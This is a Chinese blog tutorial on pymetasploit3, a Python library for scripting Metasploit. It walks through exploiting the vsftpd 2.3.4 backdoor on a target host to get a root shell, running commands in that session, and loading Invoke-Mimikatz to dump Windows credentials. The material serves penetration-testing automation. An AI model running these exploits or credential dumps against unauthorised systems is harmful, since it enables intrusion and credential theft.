Pymetasploit3:使用Python3实现Metasploit自动化

pymetasploit3 – metasploit Automation Library

你是否有一个每次渗透测试项目都要执行的任务列表,例如SSH 暴力破解或端口映射?又或者使用Python和metasploit自动化它!然而不幸的是,多年来一直没有一个功能齐全的Python库来简化这些工作,直到今天。

Pymetasploit3建立在 allfro 的pymetasploit库之上。它使metasploit自动化更加容易。由于pymetasploit3使用了Python3之上版本,因此您还可以使用Python3的asyncio库的强大功能并执行自动化任务。

如果有想要学习Python或者正在学习Python中的小伙伴,需要学习资料的话,可以到我的微信公众号:Python学习知识圈,后台回复:“01”,即可拿Python学习资料

安装

mkdir your-new-project-directory
cd your-new-project-directory
pipenv install –three pyme tasploit3
pipenv shell

或者

pip install --user pyme tasploit3

启动 metasploit RPC server

执行 msfconsole 或者 msfrpcd

Msfconsole

$ Msfconsolemsf> load msgrpc Pass=你的密码

Msfrpcd

$ msfrpcd -P 你的密码

Usage

现在您已准备好与metasploit进行互动。 如果您要连接到msfrpcd服务,您需创建一个这样的RPC客户端::

>>> from pymetasploit3.msfrpc import *
>>> client = MsfRpcClient(‘你的密码')

连接到msfconsole RPC plugin:

>>> from pymetasploit3.msfrpc import *
>>> client = MsfRpcClient('你的密码', port=55553)

RPC client是库的核心,所有功能都直接来自这个对象。使用dir()可以很容易地查看Python库对象:

>>> [m for m in dir(client) if not m.startswith('_')]
>>> ['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins', 'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

让我们来看下exploit 模块:

>>> client.modules.exploit
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_sc ript_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

创建一个exploit模块对象很简单。通过client.modules.use()传入模块类型以及模块名称。

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')>>>

现在我们设置模块选项。我们首先要看看哪些目标可用并设置合适的目标。

>>> exploit.targets
{0: 'Automatic'}
>>>
>>> exploit.default_target
0

>>>

在这种情况下,只有一个目标,并且已经设置成默认的。你可以使用具有多个目标的漏洞,并设置它:

>>> exploit.target = 0
0
>>>

让我们找出这个目标的有效载荷:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

下一步是查看和设置模块选项。

>>> exploit.options
['WORKSPACE', 'VERBOSE', 'WfsDelay', 'EnableContextEncoding', 'ContextInformationFile', 'DisablePayloadHandler', 'RHOSTS', 'RPORT', 'SSL', 'SSLVersion', 'SSLVerifyMode', 'SSLCipher', 'Proxies', 'CPORT', 'CHOST', 'ConnectTimeout', 'TCP::max_send_size', 'TCP::send_delay']
>>>

上面大多数选项都已经设置好了默认值,但是我们如何知道哪些选项是必须要设置的,并且我们如何设置它们?

>>> expoit.missing_required
['RHOSTS']
>>> exploit[‘RHOSTS’] = 192.168.1.2
>>> exploit.runoptions
{'VERBOSE': False, 'WfsDelay': 0, 'EnableContextEncoding': False, 'DisablePayloadHandler': False, 'RPORT': 21, 'SSL': False, 'SSLVersion': 'Auto', 'SSLVerifyMode': 'PEER', 'ConnectTimeout': 10, 'TCP::max_send_size': 0, 'TCP::send_delay': 0, 'RHOSTS': '192.168.1.2'}
>>>

我们可以在上面的输出中看到我们成功地将RHOSTS设置为192.168.1.2。 现在我们准备通过在metasploit控制台中运行漏洞来弹出shell。 metasploit控制台是在使用命令msfconsole启动metasploit时给出的提示,但如果您使用带有msfrpcd的RPC守护程序启动metasploit,也可以创建控制台。 下面,我们将创建一个新的控制台,获取其控制台ID,并在该控制台内运行exploit模块,以便我们可以收集模块的输出。

>>> console_id = client.consoles.console().cid
>>> console = client.consoles.console(console_id)
>>> console.run_module_with_output(exploit, payload=’cmd/unix/interact’)
# Some time passes
'VERBOSE => false\nWfsDelay => 0 [...] [*] 192.168.1.2:21 - Banner: 220 vsFTPd 2.3.4\n[*] 192.168.1.2:21 - USER: 331 Please specify the password[...]'
>>>

现在我们有一个会话,让我们与它交互。client.sessions.list将返回一个字典,其中每个键都是会话标识符,并且会话数据将作为值存储。

>>> client.sessions.list
{'1': {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact','uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor','exploit_uuid': '3whbuevf', 'tunnel_peer': '192.168.1.2:6200', 'workspace': 'false', 'routes': '','target_host': '192.168.1.2', 'type': 'shell', 'session_host': '192.168.1.2', 'desc': 'Command shell'}}
>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> shell.read()'\nroot'
>>>

假设您想在这个会话中运行一个命令,等待命令完成,并返回命令的输出。这在控制台中很简单,因为每个控制台会告诉您,它是否仍在运行您发送的最后一个命令。

>>> console.is_busy()
False
>>>

不幸的是,会话没有来自metasploit提供的session内置功能。有三种方法可以解决这个问题。Option 1等待从会话中读取任何数据并返回该数据。这对于一次性打印所有数据的系统命令非常有效。下面,我们将在远程会话上运行arp命令,并在接收到任何数据时立即返回。

>>> cmd = 'arp'
>>> shell.run_with_output(cmd)
'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

Option 2是等待一段时间,然后在该时间之后返回所有数据。 需要注意的一个细节是,默认情况下,metasploit的通讯超时为300秒。 如果您希望运行一个耗时超过300秒的命令,则必须设置metasploit通信超时以及run_with_output()的超时。 例如,要将Meterpreter shell的通信超时更改为500秒,请在Meterpreter shell中运行set_timeouts -c 500。 下面示例中的shell仍然是我们在前面的示例中使用的相同的简单Linux shell,所以没有必要这样做。

>>> cmd = 'arp'
>>> shell.run_with_output(cmd, timeout=10s, timeout_exception=False)
# 10 seconds pass'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

Option 3是在找到某个字符串后停止收集数据。 对于非常复杂的命令,这通常是最一致的。 下面我们将查找字符串“Address”和“HWtype”,我们知道它存在于Linux上的arp命令的输出中。 在处理Meterpreter会话时,字符串“[ - ]”和“[+]”通常是很好的默认结束字符串,因为当命令完成或失败时,metasploit通常会在其输出中使用这些字符串。 但是metasploit的输出在一个命令到下一个命令之间是不一致的,所以要谨慎选择一致的结束字符串,否则您可能会在稍后读取数据缓冲区并让前一个命令的输出扰乱您的新命令的输出。 只要在会话的输出中读取一个选定的结束字符串,就会返回到该时刻之前收集的所有数据。

>>> cmd = 'arp'
>>> end_strs = ['Address', 'HWtype']
>>> shell.run_with_output(cmd, end_strs=end_strs)
'\n Address                  HWtype  HWaddress           Flags Mask […]'
>>>

假设您在Windows主机上获得了Meterpreter shell,您还可以运行PowerShell命令。

>>> met_shell = client.sessions.session('2')
>>> psh_sc ript = '/home/user/sc ripts/Invoke-Mimikatz.ps1'
>>> met_shell.import_psh(psh_sc ript)
>>> met_shell.run_psh_cmd('Invoke-Mimikatz')
# Some time passes'Mimikatz output…'
>>>

这概述了pymetasploit3的基本功能。 现在用一个小Python脚本替代你的工具。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351

推荐阅读更多精彩内容